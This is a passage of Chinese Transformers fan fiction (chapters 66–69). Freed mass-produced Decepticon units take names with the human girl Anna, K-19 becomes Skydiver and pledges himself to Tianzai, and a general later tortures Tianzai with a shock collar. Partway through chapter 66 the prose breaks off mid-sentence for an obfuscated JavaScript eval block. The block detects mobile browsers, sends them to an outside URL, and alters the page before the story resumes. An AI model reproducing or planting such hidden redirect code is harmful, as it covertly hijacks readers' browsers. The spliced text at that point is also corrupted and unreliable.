K-19恍惚着,一个无法抑制的、热切的想法伴随着矿洞中天灾随着光芒把他拽回人间的画面突然在他的CPU中跃上了运行列表的第一条。 66.命名仪式 一个属于……自己的名字? 矿洞内的气氛一下子变得粘稠起来,就连机子们说话的声音都随着安娜的话语而变小了。 这话题仿佛打开了什么新的开关,使得K-19的处理器微微卡顿,散热系统在背后嗡嗡作响。 一个特殊的名字,他细细念着,一个代表了他的理想、他的信条、他的希望的名字。 他站在原地,赛博坦人的磁场却陡然混乱起来。 在战斗单位恍惚的同时,安娜也有些惊讶地发现,不知何时其他的机子们也都围了上来。 赛博坦人们站在她身前,飞行单位的机翼乖顺地垂在自己的身后,就连地面单位的车轮也在轻微地转动,引擎的嗡鸣此起彼伏,几十双光学镜齐刷刷地亮着,带着不同寻常的期盼。 试着幻想一下,一个真正属于自己的名字,不是被谁赋予的代码,不是毫无意义的冷冰冰的数字和编码,而是…… 天啊,名字。 光是这个想法就足以让量产机子们的火种疯狂地跳动起来。 K-75最先从众人身后挤到了安娜面前。 “但是,但是要怎么做呢?”他磕磕绊绊地询问,“我要怎么才能拥有一个属于自己的名字呢?” 安娜的目光随之柔和下来了,赛博坦人身上温暖的体温随着散热风扇的转动充盈了这片区域,K-75语气中的试探和压抑的激动让她眼中浮现出隐约的怜惜和心疼。 她怎么会注意不到他们光学镜里带着的小心翼翼和不敢置信。 安娜柔软的眼神转向这些笨拙又赤诚的机子,女孩踮起脚尖,在K-75半跪下来的机体前轻轻将手掌贴在了赛博坦人冰凉的装甲上。 “嘿,这并不难。”她不自觉地放低了声量,柔和地说,“我会帮你们。” 矿洞再次安静下来,随即爆发出了更强烈的磁场波动,电流的噼啪声和量产机们的欢呼在这片空间响起。 这会是他们新的开始。 …… “首先,我们可以从你们的性格特点或者机体特点开始。” 机子们兴奋地互相交流着,空气中充斥了他们磁场中跃动的情绪粒子。 “比如嗯……涡轮?锐刃?”安娜提议道。 几个机子点了点头。 “暗影炮?”(Shadow cannon) “黑啸?” 又是几个机子非常满意地认领走了这些名字。 平日还算安静的矿洞此时异常嘈杂,有些机子来找安娜出主意,但大部分机子兴致勃勃地和周边的同伴们互相商量着给自己取了名字。 这简直是他们人生中最好的一天。 起名的过程总体比较顺利,但也不是没有小小的波澜。 问题出在轮到K-75的时候,安娜小小地犯愁了一下。 “K-75的话……刃翼怎么样?”她绕着K-75的机体绕了几圈,看着缺乏保养而有些磨损了边角的翅膀斟酌地说,“听起来很厉害。” K-75摇了摇头。 “不喜欢吗?那火炮怎么样?” “或者……” 女孩还在埋头苦思,人类的眼神也投向了飞行单位手部能变形出武器的位置,K-75却突然激动地站了起来,打断了她。 “不!”赛博坦人的装甲碰撞出一些火花,“不要战斗相关的!” 冷不丁的动静吓到了安娜,女孩下意识退后了几步,而D-26在他身后用手肘轻轻撞了他一下,把有些应激的飞行单位的理智唤了回来。 “哦普神……”他慌乱地重新半蹲了下来,“我很抱歉安娜小姐,我只是……普神……” “对不起。”他平复下外装甲上胡乱跳动的电磁信号,内疚地说道。 “我没想要吓到你,我只是……我们被制造出来的一生都在被奴役,挖矿,被投入战斗……” D-26贴心地替CPU依然有些混乱无法组织起语句的K-75补全了对话。 “他的意思是,我们现在有了更多的选择,而他已经不想再和战场有任何关联了。” “所以安娜小姐,请问有更……平和一些的名字推荐吗?”他歉意地笑了笑,为同伴的异常举动而有些不好意思。 女孩很快调整回来了心态,没有为K-75的动作而怪罪他们,她只是理解地点了点头。 “我明白了……那从喜欢的东西开始怎么样?比如食物或者动物?你有喜欢的小动物吗,K-75?”安娜好脾气地问。 这回换回神的K-75露出了一个恰到好处的茫然。 “那你上次和我聊过,也有赛博坦人叫作管子吧?你也可以起个类似的呀?” K-75沉默片刻:“额……对接面板?” K-19发出了超大声的一句叹息。 安娜看了看K-19的反应又看了看突然把脸捂住的D-26缓缓冒出来了一个问号。 …… 等天灾回来的时候看到的就是这幅光景。 大部分机子安安分分地坐在角落里聊天,磁场里除了有些亢奋外没什么异常,看到他回来还向他挥了挥手。 洞穴里也一如既往的很安静,但安娜那处却异常地嘈杂。 他抱着狐疑走近,听到他的女孩和K-75大声嚷嚷道: “不行!” “为什么不行!” 安娜不知道是被气的还是羞的,整张小脸通红,此时连头发都微微立起来了,整个孩子看起来就像一只炸毛的刺猬。 天灾:? 再走近一些,就能听到他们在谈什么。 K-75:“为什么不能叫对接面板!” “汽车人就可以!” D-26反驳:“那也没人叫对接面板啊!” 天灾:……??? 除去和K-75争论的脸红脖子粗的D-26,K-19看起来也加入了安娜的那一边,和他们一起反驳着神情激动的K-75。 K-75以一敌三毫不落下风。 这还是天灾第一次看到K-19露出这样无措又崩溃的表情。 更多的疑惑。 等小油罐车在安娜身后站定的时候,他才听清楚他们到底在争论什么。 “你可以叫别的,老天啊,但你不能在我明白这个名字代表了什么的时候还告诉我你想叫这个名字!” 女孩气得有些顾不上别的了,连天灾就站在她身后都没察觉,反而是K-19最先察觉到小油罐车的归来而露出了一个欣喜又放松的笑。 天灾拍了拍他的肩膀,走到他们中间,顺势隔开了女孩冒火的目光。 “发生了什么?” “天灾?你回来了!” 此时安娜才惊喜地意识到他的存在,随即又越过天灾的阻挡气呼呼地将目光投向同样不忿的K-75。 “正好,你快帮我们劝劝K-75。” “我们刚刚在帮大家起名。”安娜解释道。 “名字吗……不错的提议。”小油罐车说,此时还没意识到安娜的重点。 “对!一切都很好,直到K-75打算叫自己……对接面板!” 女孩愤愤地擦了把脸,“你……你知道那是什么意思!怎么能有人叫这个呀!” “以后你们见到其他人……”女孩呻吟了一声,“我真的不想看到我脑袋里的那个画面成真。” D-26跟着发出绝望的呜咽。 K-19咳嗽一声挡住了自己嘴角勾起的弧度。 小油罐车的引擎明显地在听清楚安娜的话后卡壳了一瞬,数据库检索出来的资料饶是自认为已经对这个世界发生任何事都能心无波澜的天灾也没喘匀气。 小油罐车脸上五颜六色的神情让K-19没忍住偷笑出了声,天灾向他投去埋怨的一瞥,飞行单位立刻做了一个把嘴用拉链拉上的手势。 天灾这才将目光又投向他的怨种同伴。 偏偏K-75还一副不服气的表情。 “可是汽车人的管子就叫管子啊!”他有理有据地叉着腰辩驳。 安娜将求助的目光看向了刚回来的天灾,意思很明显——你快帮帮忙吧。 小油罐车整理好心情,“你可以叫这个名字。”在所有人不敢置信的目光中他缓缓说道。 唯有K-19好像摸到了一丝他的意思,眯起了光学镜。 “真的吗!?”小飞机忽闪着的机翼一下子竖起来了,就连看向天灾的目光都充满了看向救世主的意味。 “当然,毕竟我以后肯定是要推翻威震天和擎天柱的。擎天柱……可以稍后处理,但威震天现在可欠了我不少,”天灾慢条斯理地说,“比如你们的事情。” K-75信服地点了点头。 “而我推翻他就需要一支军队……” K-75抢着说道:“那我可以给你当后勤!保证你的军队永远不会缺东西吃!” 天灾点了点头,“然后他们就会知道我有一支强大的后勤部队,而后勤部长叫……” 小油罐车高傲的目光由上到下地扫视了一遍K-75,饱含着肯定的意味。 第六感应雷达突然开始疯狂响的K-75就听见天灾缓缓说道:“对接面板。” 此话一出,几架离得近的量产机子再也绷不住直接笑出了声,就连身后的机翼都在一抖一抖的。 哄笑声中,K-75陷入了石化。 等会儿,等会儿。 矿机的CPU开始疯狂转动,他叫对接面板可以,可天灾的后勤部队队长不能叫这个名字啊!那说出去天灾的面子往哪里搁! 他们可是认了天灾当老大的!可不能让老大丢面子呀! K-75只感觉自己的CPU快烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357855|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,在逻辑模块转过弯前他的发声器先替他做出了决定。 “不行!” “哦?为什么不行?”天灾憋着坏故意反问道。 “就……就是不行!我不叫这个了!”K-75慌乱地说,生怕说晚了小油罐车就不给他改主意的机会了。 “噗嗤!哈哈哈哈哈哈……” 周边的人终于都忍不住纷纷开始大笑。 而K-75看起来已经反应不过来了,如果这是动画片,K-19知道他们现在就能看见K-75的光学镜都变成了一圈圈的迷惑漩涡。 “叫燧石怎么样?”天灾带着笑意的声音就在这个时候慢慢向K-75提议道。 “燧石?”K-75茫然地看他。 “一种硅质岩石,在古代,人类用它来打火,给人类带来了温暖。” “人类相信它会为他们带来生命力,为周边的环境注入希望和光明,以及快乐。” 小油罐车毫不意外地看到小飞机的光学镜越来越亮。 K-75——现在应该叫做燧石的机子突然兴奋地和D-26——现在叫做黑翼的机子抱在一起,抱完黑翼又冲过来握住天灾的手甲上下摇晃,闹了好一会儿才满意地认领了这个名字。 看着终于决定好名字的小飞机,安娜松了口气的同时也看向了一侧抱着胸旁观的小油罐车。 “你早给他准备好了?”安娜惊讶地说。 “嗯哼。” K-19说:“这很适合他。” “嗯哼。” “……你也给我准备了吗?” “嗯……嗯?” 天灾有些松散的表情一收,将头慢慢转了过来,光学镜定定地看向发出这个疑问的飞行单位,没有被口罩遮挡的面部表情一览无余,似乎是疑惑K-19怎么能问出这样傻瓜的问题,又像是不敢置信K-19就这么坦荡地向自己问出来了。 K-19坦然地接受他的凝视,两双光学镜猝不及防下对视,天灾立刻有些不自然地移开了视线。 “我以为你会更喜欢你自己选的名字。”他说。 “如果是你赐予我的,我也会很开心。” K-19歪歪头,天灾的分析系统比逻辑模块先一步捕捉到了飞行单位言语中的真实。 这家伙…… 小油罐车悄悄咬了咬牙。 “那算了吧,”他绷着脸说,“如果你已经有想法,我没兴趣剥夺你给自己起名的权利。” “我……” “不准骗我。”天灾打断他,“你不可能心里对这个毫无想法。” 飞行单位短暂的沉默算是认可了天灾的猜测。 小油罐车好似漫不经心地问:“所以……你的呢?” “什么?” “你的名字。” “还没想好。”飞行单位走到他身侧,机翼在油罐车身后的扰流板边刷着存在感,让天灾想忽视他的存在感都不行。 “我有一些想法,但实在无法决定。” 安娜也附和道:“现在就剩下K-19了。” 小油罐车耸了耸肩,摆摆手向着远处走远,步伐像是带着一丝慌乱又像是真的有事情要做的急切。 “那么等你决定再告诉我吧。” K-19没有挽留,但尽管安娜无法分辨量产机缺乏五官的面甲上的表情,她依然可以保证此时此刻K-19就是在低落。 安娜悄悄凑近他,露出了神秘的表情:“说说吧,你在想什么?别和我说你现在想的东西和天灾没关系哦?我看得出来。” 飞行单位低下头看着她。 “我只是有些好奇,你放心,我不会告诉他的。”女孩保证道。 K-19依然没松口。 “我只是在想……名字的事情。” “当然了,想名字。”安娜没揭穿他的小心思,煞有其事地点了点头。 “你知道我对这些知识的内容比你懂得更多,”女孩俏皮地眨了眨眼睛,“也许我可以帮你哦?” K-19笑了,伸出一根手指,用轻柔的力度揉了揉安娜的头。 “谢谢你安娜小姐。” “那么现在可以告诉我了吗?你打算起什么样的名字?”女孩好脾气地整理好被K-19揉乱的头发,问道。 “或者想法?” K-19久久地看着远处指挥着大家的小油罐车,声音远比平时还要低沉而深情。 “骑士。” “……什么?” 被某人所拯救的火种就在K-19完好无损的胸舱内跳动着,蓝色的火焰透过飞机紫色的涂装随着每一次置换在黑暗中透出细碎的光。 他垂眸看向地上疑惑的安娜,按住自己疯狂跳动的火种舱轻声说。 “我想成为……守护天灾的骑士。” “有什么好的名字推荐吗?” 67.我名潜空 飞行单位说完的那一瞬,女孩猛地顿住了。 她不敢置信般地停下手上所有的动作,如同蓝宝石一般的眼睛紧紧地盯着说出这话的K-19,像是在确认他言语中所显露的感情并非是一时起意。 “你……”她下意识地开口,随即又立刻闭上了。 童话书中的故事早就被安娜背得滚瓜烂熟,真挚而热烈的感情曾经也让年幼的女孩心生向往。 公主与骑士,一见倾心的浪漫与唯你不可的誓言,童话中最美好的结局。 然而她清楚这里是现实。 自身的经历更是让安娜以自身为模板明白了现实里的童话大多是被包装起来的骗局。 是的,只要她有机会,她就会保护天灾免受一切苦难的折磨,这也是她不厌其烦地一遍又一遍地向天灾描绘自己所学会的一切常识与知识的原因。 那辆小油罐车已经向她透露出了痛苦,而安娜最不想做的就是看着他在死路中徘徊找不到出口——就像曾经的自己。 可…… 如果天灾真的被某人视为信仰般倾慕着,她又有什么资格去阻挡她的家人获得幸福呢。 “你没有在开玩笑吗?”她问,不管如何,她要确认这并非K-19在某些滤镜下突发性的想法。 包括自己在内,因为各种原因而聚拢在这里的人都有相同的经历。 他们都因为某辆口硬心软的小油罐车而留下,拒绝黑暗中唯独照耀向自己的光是最为艰难的,但…… 对救命恩人的感激也更容易被误以为是灵魂的共鸣。 如果这是玩笑,她发誓她会狠狠教训任何抱有这种想法的人,哪怕他们远比自己要高大和强壮。 她不希望看到当K-19将这样热忱的感情捧在天灾面前被接受时,两台机子才陡然察觉,那根本不是他们以为的东西。 又或者她只是误解了赛博坦人对于感情方面的理解。 也许那只是K-19在向她表露自己对天灾的…… 女孩做好了迎接眼前这架飞机任何答复的准备。 K-19就在此时认真回应道:“绝无此意。” 他像是清楚安娜为何要再三追问,放在火种舱上的手掌移到了女孩面前,邀请她坐上自己的伺服器。 安娜抿紧唇站了上去。 人类的眼睛就这样与赛博坦人猩红的光学镜对视。 即便种族不同,她依然注意到了藏在K-19低哑的声音中的缱绻。 “我可以向你保证,”她听见飞行单位肃然的声音在自己的耳边响起,她清晰地看见深沉的感情如何在K-19的眼中蔓延,最终化为无法阻挡的滔滔巨浪,“这份心意,绝不是一时起意。” “我曾经无数次无视胸膛中这颗火种的低语,也曾经无数次鄙视我的灵魂,厌恶我的人生,在循环反复中徘徊……” “最后,在黑暗里,只有他向我伸出了手。” “是天灾唤醒我的麻木,把我从死亡中拉回人间,是他告诉我……还有人在意着我。” “当我渴望拯救,又渴望被谁所拯救时,只有他回应了我的呼救。” “只有他。” K-19的眼中无尽的笑意蔓延开来,带着几乎能够将人融化的暖意。 “哪怕那只是他对无数人曾经说过的话,即便我对他而言可能不值一提,和他所拯救的任何人无异……我依然对此心生感激。” 安娜的呼吸停滞了。 “可……可那不只是基于感激对吗?” 赛博坦人一贯泛着冷冽光泽的金属装甲上也渐渐染上了柔和的日光。 细碎的光线从他们的头顶透了出来,照耀了K-19唇角的弧度。 他按捺住火种中的悸动,轻声说: “我愿意为他奉上他所想要的一切。” “自由也好,快乐也好,整个世界也好。” “如果他能够获得幸福,如果他能为此露出笑容的话,如果那就是他所想要的东西的话,我就会成为他所需要的。” “一根破风的箭、一把直指咽喉的剑、一面抵挡攻击的盾……” “只要他想要,我就会跪在他身前,为他奉上胜利的桂冠。” 空气中弥漫了飞行单位身上引擎散发的低沉嗡鸣。 他看着安娜,磁场中弥漫了平静与如释重负。 良久,安娜的指尖无意识地攥紧,又伸出,按上了K-19近在眼前的面甲。 “你会坚定地选择他吗?永远如此?”她问。 “永远如此。”K-19笑了,带着十万分的肯定。 “你该告诉他。”女孩做好了决定,她直视着眼前的飞行单位如此说道。 K-19怔然:“为什么?” “你总该让他知道有个人不管发生了什么都会坚定地选择他,不会因为他的缺点而放弃他,不会因为他的若即若离和别扭的性格而厌弃他。” “他应该知道不管发生了什么,总有一个人会陪在他身边和他共享他的一切喜怒哀乐。” 安娜看着他,无声地告诉他,他应该将这份感情宣之于口。 而K-19,他沉默着,另一只手无声地碾磨着自己的指尖。 …… “哦天哪……”安娜突然明白了什么,“你……你不打算告诉他对吗?你不打算告诉他你……” 她焦急地瞪大了眼睛,目光频频地看向了另一侧看似没有注意到他们这边动静的小油罐车。 K-19微微侧身挡住了她的视线。 “我会告诉他的,但不是现在。”他低声说。 “他已经承受过多的东西了,”他掩盖下自己的失落,尽量平淡地告诉安娜,“擎天柱、威震天,然后是我们,而我……又太过弱小。” “我不希望这份感情成为他的又一份重担。” “可你知道他不会!” “你我都了解他的秉性,”K-19打断她,“如果他知道……你知道他不会放弃的。” K-19释怀地笑,“他会将这个视为他的又一份责任。” “尽管这也是他个人魅力的一点。” “但这份感情不需要他的回应……我也不需要他的回应。” “我对他的感情……那是我的事。” “天灾他只要向着自己想要的未来踩紧油门猛冲就好了,我会飞在他的上空,帮他扫清一切向他而来的威胁,我会成为帮他阻挡一切的阴影。” “他只需要自由就好了。” 他低声叙说着自己的理想未来,而女孩被他的话说得哑口无言。 半晌,安娜才找回自己的嗓音。 “……你已经这么决定了吗?” K-19点了点头。 女孩示意他把自己放下来,她看着K-19脸上与天灾如出一辙的倔强,突然就想知道是不是不听劝阻、一意孤行是所有赛博坦人的通病。 最终,还是安娜先让步了。 她深深叹了口气,总觉得和他们生活在一起明明更快乐了,生活也变好了但心态上却好像让自己变得更成熟了。 “好吧好吧。”她无奈地说。 “我又能怎么办呢,我也做不了那个坏人。” 内心中她知道K-19说的是对的。 天灾不会放任K-19的这份感情付之东流的,不管是选择回应还是拒绝,天灾都会将这个视作自己的责任,这就是天灾会做的,真该死。 她头疼地揉了揉太阳穴,“还是说回名字吧。” “既然你这么想的话……” “骑士……骑士……” “贝德维尔(Bedivere)如 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低沉富有磁性的笑声压抑不住地从发声器中溢出,就连磁场都在透露着主人的喜悦。 他迫不及待想要告诉天灾。 想要天灾作为第一个知道这个消息的机子的渴望在火种中跳动。 一个新的名字,一个包含了只有他一个人知晓的秘密的名字。 他的理想、他的希望、他用自己的一切来信赖、来支持的人…… “是的,是这个名字。” 他喃喃自语,词语在他的发声器中如同命中注定般脱口而出。 他曾是很多人。 “死在矿场中的无名小卒、死在战争中的消耗品、霸天虎的背叛者、汽车人的敌人……” 他曾有着许多的身份,但没有一个是他主动去寻求的。 “那些哀嚎着的亡魂和熄灭的火种……” “我曾是他们。” “他们曾是我。” 他是不被人期待所诞生的量产士兵。 “我是K-19。” 可现在,他心甘情愿地接受了新的名字,一个崭新的开始,一段新的人生。 “我是Skydiver。” 他的声音越来越大,走向视线尽头那辆小油罐车的步伐越来越快。 “我是独属于天灾的天空骑士。” 他找到了自己的归属。 紫色的飞机一直都知道,他有一颗平凡的火种。 这颗火种不够强大,不足以成为万里挑一,它也不够宽广,不能容纳所有人。 但却足够为了某一个被他放进心里的人而努力燃烧。 他在那道漆黑的身影面前站定,坚定地牵起天灾的手,单膝下跪。 飞行单位眼神灼热地看向天灾,眉眼间泛起无限的温柔,笑意自光学镜中蔓延,他抬起头,一只手抚上自己的左胸口,凝望着天灾的面甲。 “请容我再次向您介绍。” 他柔和地望向油罐车瞪大的光学镜,在其中烙印下属于自己的身影,霸占了天灾全部的视觉中心。 “我将成为你的剑、你的盾、你最后的底牌。” “我将成为你最趁手的武器助你获得你所想要的一切。” “我将永远支持你,直到你厌倦我的陪伴,直到铁锈腐蚀我的装甲,直到这颗火种化为无用的铁屑,我都会一直陪在你身边。” “我向你献出我全部的忠诚。” “我名……潜空。” 他向着自己的全部郑重地宣告道,带着无法克制的颤抖轻轻亲吻天灾的手背,落下的力度仿佛一根羽毛扫过天灾停跳了一拍的火种。 68.傲慢 “哎哎哎!前面那个你蹲下一点儿我看不见了!” “后面那个别踩我!” 在两人身后,量产机子们在潜空走过来时就察觉到了非同寻常的气氛,悄悄将空间让给了他们。 此时几十架机子挤在阴影里大气都不敢喘,影影绰绰的机体一会儿不是谁踩了谁的推进器就是谁碰了谁的机翼,但即便如此大家也没放过看热闹的机会。 燧石努力探着头,小声说:“你觉得他们什么时候能察觉到我们?” 黑翼手里捧着小脸通红——这次是因为激动——的安娜,头也没回。 “不知道。” 燧石:“你觉得K……潜空告诉他了吗?” 黑翼:“不知道。” 燧石:“那我们什么时候能从这里离开?” 黑翼心平气和:“不知道。” 燧石:…… 你怎么什么都不知道?! 他恨铁不成钢地又扒拉了一下黑翼的翅膀,惹来前排的同伴一个怨念的回视。 “可恶啊,站的太往后了什么都看不见!”他抱怨道。 黑翼闻言悄悄侧过身,将站在自己手里的安娜移交给了燧石。 “那正好,”他说,“你站我这儿。” 燧石小心翼翼地捧着女孩,满脸狐疑。 黑翼将位置让给他,自己躲到了最后排。 他对着疑惑的燧石打了个手势,内线中发送了一条消息:「我先溜了,记得要让安娜小姐满意哦。」 想了想,他又加上了一个乖巧的人类表情包。 燧石一开始还乐呵呵地,直到他终于察觉到了自己损友为什么先跑了。 “安娜小姐……” “嗯?” 燧石硬着头皮说:“我手部传感器开始报错了。” “嗯……” 过了一会儿。 “安娜小姐我想……” “不,你不想。”安娜立刻说道。 此时潜空已经被天灾扶起来了,而潜空还没松开小油罐车的手,肉眼可见天灾的面甲开始要绷不住了,一丝可疑的颜色染上了他的面甲。 安娜看得正起劲,更不可能现在就离开。 她拍了拍燧石的手心。 “马上,马上,”她敷衍道,“等我看完!” 燧石开始想哭了,如果赛博坦人的感官也可以和人类互通,他会用最丰富的语言描述自己的手腕此时有多酸的。 “马上是几分钟啊安娜小姐……” 内线中,黑翼发来了幸灾乐祸的表情,而燧石决定等他解放,他要把黑翼的翅膀给他撅成90度,让他再也飞不了直线。 …… 作为众人的焦点,天灾的心情并不算平静,但也远算不上激动。 惊慌失措、受宠若惊…… 这样的情绪对于他而言都过于陌生,也不是他会做出的反应。 面对潜空献出的忠诚,他只是沉吟片刻,便消化掉了CPU中一瞬间涌上来的情绪乱码,简单地询问道:“你知道,我可能并不是你想象中的完美人选。” “我知道。”潜空回应。 天灾眯起了光学镜。 “你就没想过我也会像威震天一样向你下达必死的命令吗。” “你真的明白你在做什么吗。” 他缓缓的将现实摆在潜空面前,给他一个反悔的机会。 “只要我的处理器得出结论,你的牺牲大于我会获得的利益,我就会毫不留情地使用你,利用你,让你重新成为一种筹码,一把工具,届时你的处境与之前将别无二致。” “你还会有更多的敌人,我的敌人。他们都会将你视为眼中钉,你会成为我的第一面盾牌,你会坐立不安、日夜不宁,活着的每一刻都要提防从暗处向你射来的箭矢,你将一直活在战场。” 他顿了顿,给潜空思考的时间。 “我钦佩你的勇气,向某人奉献出全部的忠诚是崇高之举,但鲁莽不是。” 他抬了抬下巴,第一次在潜空面前展现自己身上与生俱来的傲气与自信。 “跟在我身边就代表了混乱,而我不会在任何战争中退缩,所以我给你撤回前言的机会,战士。”他说。 “想明白你到底想要的是什么。” “想明白你到底将你的忠诚寄托在了什么样的人身上。” “一旦你做出了决定……就没有回头路了。” 面对天灾给出的抉择,潜空握紧了他的手爪,毫不迟疑。 “不管你询问多少次,我都会给出同一个答案。” “我绝不后悔我说出的誓言。” 他置换出一口热气,笑道:“或者,还需要我再一次向你下跪吗?不管多少次都可以哦。” 小油罐车的神情肉眼可见地动摇了,完美面具的表象裂开了一道缝隙,随即再度愈合,天灾扭开了头,傲娇地点了点头,认可了潜空的效忠。 “随你吧。”他小声说。 潜空磁场中的笑意足以让一众围观的机子牙酸。 等到潜空满意地回到他们中间时,每个路过的机子都用敬佩的眼神看着他。 你这家伙,怎么偷偷进修啊! 回应他们的是心情巨好的飞行单位趾高气扬、高高耸起的机翼和容光焕发的漆面。 燧石将安娜小心的放到地上,痛苦想到:够了。 他今天就要把黑翼给夯到地里然后把潜空的漆面换成绿色。 这样对机的光学镜不好,真的非常不好。 天灾踱步过来时,黑翼正被燧石追得满场乱飞,而潜空心满意足地告诉他,自己就是燧石下一个目标。 天灾:……? 不是,那你不先跑吗,就在这儿干等着被燧石揍啊? 潜空表示这个揍自己挨得心甘情愿。 小油罐车冒出了更多问号。 而安娜,最好的安娜还是他们之中良心最多的那个生命体,女孩挂着诡异的笑告诉他她需要一张新的沙发。 嗯……不管了,安娜能有什么坏心思呢。 小油罐车一口应承下来,与此同时安娜也终于找到了机会,询问他前几天的“工作”是否有被刁难。 记忆模块适时回想起前几天的经历,天灾默默在火种中给那些企图控制自己的傲慢人类又翻了个白眼。 彼时天灾刚刚接下人类军方的传呼。 熟悉的军方第一研究基地的大门出现在天灾的光学镜中时也彻底带走了油罐车最后一丝的好情绪。 故地重游没有带来愉悦,只带了厌烦。 天灾甚至可以想象得到前面有什么等待着自己。 无非是下马威、研究、分析、利用…… 考虑到他对这座基地的破坏,可能还会有追责和泄愤式的折磨。 人类的伎俩。 油罐车的车轮在军方擦得反光的地面划出一道黑痕,等待已久的兰德将军微微皱眉却没说出什么重话。 天灾甚至在等待的过程中感到了百无聊懒,同样的剧情在机械党中也上演了无数遍,对他而言这些自称正义的人类和塞拉斯都是一丘之貉。 他在将军的面前变形,高大的赛博坦人在军方人员如临大敌的表情中站直了机体,他居高临下地俯视着他们,姿态根本不复见兰德将军在机械党基地中的奴颜婢膝。 兰德将军的眉头始终不曾舒展,作为交易的一部分,由机械党交于他的控制器在手心中被汗渍润湿,冰凉的触感给他带来了一丝安全感。 他忽视被那样一双光学镜注视着时的异样,冷冷地质问:“为什么没有响应我们的呼叫。” 兰德将军甫一开口,其中的天真就差点让天灾嗤笑出声。 黑色的赛博坦人不屑地环视着周围自己造成的废墟,显然他当初破坏得相当彻底,这座基地至今还残留着炮火消弭后的痕迹。 面对来者不善的质疑,天灾也不过施舍给了他们一个眼神,傲慢几乎溢出赛博坦人的光学镜。 “你们还不够资格。” “你该清楚你现在的性命就在我们手里。” “在你们手里?” 机甲大笑出声,隐隐的癫狂透过机械质感的声音让人类不寒而栗。 大兵们的武器齐刷刷地指向天灾最脆弱的装甲缝隙,显然他的弱点也是机械党交于军方的交易的一部分。 天灾悄悄记录下这点,笑弯了腰,“自大一直都是你们种族的弱点,多么狂妄,你竟然真的认为你控制了我。” “你想对我做什么?研究?折磨?告诉我,你想从我身上找回你们人类丢失的自尊心吗?还是擎天柱的存在让你们感到了威胁和自身的弱小?” “别太放肆!”兰德将军身边的副将怒吼,只是身体的颤抖和始终放在枪托上的手还是暴露了他的恐惧。 机甲无机质的光学镜瞬间锁定了副将,而人类心脏猛地一跳,瞪大了眼睛,惊恐地发现那双光学镜中从没有什么笑意,有的只是出离理智的愤怒和恨意。 副将被那双光学镜逼退,狼狈地躲到了兰德将军身后,而那位还站在原地的将军看 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“你现在甚至不再被监视,这难道不是我们的功劳吗?” “你应该更多信任我们一些,毕竟从某种意义上而言,我们才是你的盟友。” 他一边说一边观察着天灾的变化。 然而不管他说什么,那具和领袖极度类似的机甲都维持着一种漫不经心的敷衍。 为什么他还没有向自己臣服。 与预想中不同的平淡反应让将军的眸色更加深沉。 久居高位的权欲腐蚀了他,膨胀的自信让他在天灾已经释放出明显的不耐烦时自以为捏住了赛博坦人的命门而有恃无恐。 电击器被捏在手中变得发烫。 天灾只觉得他聒噪。 拯救、拯救、拯救,好似这些人类翻来覆去的折腾便只有这一种“劝降”想法。 如果他告诉这个人类,塞拉斯也用过同样的手段,他会不会从人类的脸色看到错愕? 天灾轻蔑地一笑,终于斜睨向地面上冷汗都已经渗透的人类们。 “哦?拯救我?” 副将点头。 “真可惜。”油罐车换上了一副戏谑的表情。 爆发是毫无征兆的。 周边的加厚墙体被那漆黑的原生体一拳干倒,油罐车肩膀上的炮弹瞬间发射。 没有人预料到天灾的突然发难,场面失控,完全混乱起来。 兰德将军再也按耐不住脸上的惊恐,他和副将第一时间向后面的掩体跑去,大兵们紧绷的神经彻底熔断,在躲避攻击的间隙胡乱地开枪射击。 震耳欲聋的爆炸声毁掉了第一研究基地的一切。 眼前的图景仿佛回到了他们第一次被黑色的死神收割时的地狱。 人类的尖叫在白天显得越发瘆人。 劫后余生的兰德将军耳朵里已经只剩下了持续的盲音,副将也不复刚刚的游刃有余,他穿得一丝不苟的军服已经被撕开了一道不体面的口子,但他无暇顾及,他紧紧握着将军的肩膀冲他嘶吼着什么,但兰德一句话也没听见。 爆炸在他们眼前上演。 军官的脑袋几乎被逼近的炮火炸成一团浆糊,身上同样狼狈不堪,灰尘覆盖了男人的面孔,此时握着手里救命稻草般的控制器,兰德·利维斯只剩下了最本能的一个想法。 他按了下去。 空地中央的攻击停下了,大胆的人类探出头去看。 只见天灾脖颈上金属质感项圈内的针刺随着兰德将军的动作全部刺出,毫不留情地再次贯穿了原生体愈合没多久的摄食管,能量液瞬间喷涌而出,在天灾的脚下汇聚为一摊浅蓝色的水渍。 痛苦的闷哼脱口而出,几乎被斩首的疼痛使天灾收回了紧随其后的动作,也让他脚下的兰德将军捡回了一条命。 强烈的电流在他的机体上肆虐,每一次电舌的扫过都带来原生体难以自控的剧烈颤抖。 天灾半跪在地上,艰难支撑住了自己的机体,副将刚想为他失去行动能力而松口气,兰德将军却发现那具机甲在折磨中缓缓抬起了头。 猩红的眸子中毫不见退缩,机体上的生物光带明暗闪烁,指爪将地面抓出条条痕迹,分明是一副濒临下线的凄惨模样,人类却恐惧地看见——在这样的痛苦中,天灾直直地看向正凝视着他如此惨象的人类,缓缓勾起了嘴角。 那是一个嘲讽的笑。 人类的手脚一软,控制器噼啪掉落在地。 69.Double Faces 这一幕的震撼足以让人类的余生都被此刻心底的恐惧支配。 兰德将军的手不受控制地颤抖,项圈上的电压很快回落到了正常数值。 在剧烈的喘息声中,天灾回过了神。 地面单位的引擎疯狂地转动,背后的散热扇完全展开,冷凝液一经渗出机体便因为周围的高温而被瞬间气化为了白色的水雾。 人类胆战心惊地端着手中的武器大气也不敢喘,大兵们以缓慢的速度缩小着包围圈,生怕这个完全无法预测的赛博坦人再次发怒。 也许惩罚终于起了效,原生体半跪在地面没有再暴动的预兆。 兰德将军给副将使了个眼神,无法违抗的军令使这个人类的第二指挥官咽了口口水硬着头皮走出了掩体。 直到他在天灾面前站定,油罐车都没再对他发动攻击。 一个好征兆。 兰德将军这才有胆子捡起脚底的控制器。 